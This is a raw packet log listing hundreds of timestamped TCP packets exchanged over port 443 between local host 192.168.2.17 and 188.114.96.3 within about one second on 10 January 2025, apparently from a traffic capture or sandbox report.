Jan 10, 2025 20:50:10.167963982 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.167973042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.203651905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.203707933 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.203937054 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.203937054 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.203969002 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252114058 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252131939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252223015 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252242088 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252279043 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.252306938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252357960 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.252401114 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.252474070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252480984 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252517939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252616882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.252616882 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.252629042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252679110 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.252882957 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252897024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.252965927 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.252973080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.253040075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.253091097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.253109932 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.253109932 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.253118038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.253201962 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.253201962 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.253614902 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.253644943 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.253756046 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.253767014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.253932953 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.254290104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.254304886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.254370928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.254378080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.254647970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.290466070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.290482044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.290657043 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.290679932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.290771961 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.339010954 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339029074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339138031 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339179039 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339194059 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.339224100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339385033 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.339509010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339521885 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339590073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.339600086 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339673042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339692116 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339754105 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.339761972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339773893 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.339916945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.339931011 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.340004921 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.340010881 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.340425968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.340444088 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.340517998 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.340524912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.341080904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.341094017 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.341217041 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.341226101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.377437115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.377465963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.377739906 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.377765894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.425945997 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.425976038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426043034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426063061 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426223993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.426223993 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.426244974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426297903 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.426321983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426331043 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426367044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426422119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.426422119 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.426430941 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426541090 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.426621914 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426637888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.426753998 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.426760912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.427006006 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.427196026 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.427217960 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.427406073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.427443981 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.427804947 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.427813053 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.428083897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.428097963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.428210020 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.428219080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.464515924 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.464538097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.464802027 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.464833975 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.510036945 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514075994 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514086008 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514132023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514148951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514173031 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514180899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514199972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514206886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514281988 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514283895 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514281988 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514295101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514307022 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514318943 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514326096 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514373064 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514379978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514399052 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514411926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514422894 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514422894 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514424086 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514439106 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514446974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514467001 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514471054 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514471054 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514488935 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514511108 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514517069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514547110 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514558077 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514564991 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.514585972 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514610052 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514635086 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514806032 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.514806032 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.515096903 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.515113115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.515270948 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.515280962 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.515343904 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.563517094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.563543081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.563867092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.563878059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.563955069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.609854937 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.609895945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.609986067 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610014915 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610080004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610100031 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610183954 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610183954 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610183954 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610183954 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610198975 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610285997 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610318899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610469103 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610486031 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610486031 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610488892 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610507965 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610625982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610651016 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610655069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610655069 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610666037 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610713959 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610713959 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610835075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610853910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.610915899 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610915899 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610915899 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.610924006 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.611089945 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.638328075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.638391972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.638621092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.638621092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.638634920 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.638722897 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696492910 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696525097 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696677923 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696692944 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696770906 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696784019 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696789980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696806908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696856976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696861982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696893930 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696913004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696926117 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696927071 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696927071 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696934938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.696978092 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.696995020 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697125912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697145939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697187901 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697194099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697267056 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697267056 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697381020 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697422981 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697458982 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697463989 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697482109 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697535038 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697748899 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697770119 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697863102 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697870016 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697943926 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.697952986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.697977066 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.698024035 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.698029041 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.698082924 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.725234985 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.725271940 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.725363016 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.725373030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.725433111 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.783938885 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784003973 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784158945 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784174919 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784194946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784245968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784321070 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784321070 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784321070 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784329891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784414053 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784468889 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784491062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784491062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784498930 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784574986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784574986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784621000 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784670115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784723043 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784729004 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784769058 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784799099 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784821033 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784861088 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.784936905 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784936905 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.784943104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785018921 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785020113 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.785047054 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785093069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785136938 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.785136938 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.785144091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785188913 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.785188913 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.785211086 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785255909 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785315037 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.785320044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.785357952 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.785358906 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.812309027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.812366009 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.813082933 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.813083887 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.813098907 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.815334082 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.870645046 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.870682955 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.870764971 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.870806932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.870927095 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.870942116 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.870975018 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.871057034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871084929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871128082 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.871135950 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871172905 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.871294022 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871328115 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871361971 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.871366978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871406078 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.871723890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871741056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871792078 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.871798038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871957064 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.871980906 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.872011900 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.872018099 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.872050047 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.872109890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.872127056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.872181892 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.872188091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.899550915 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.899586916 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.899660110 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.899672031 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.899719954 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.955030918 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.957691908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.957726955 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.957776070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.957824945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.957904100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.957920074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.957957983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.957978964 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.957978964 CET	49803	443	192.168.2.17	188.114.96.3
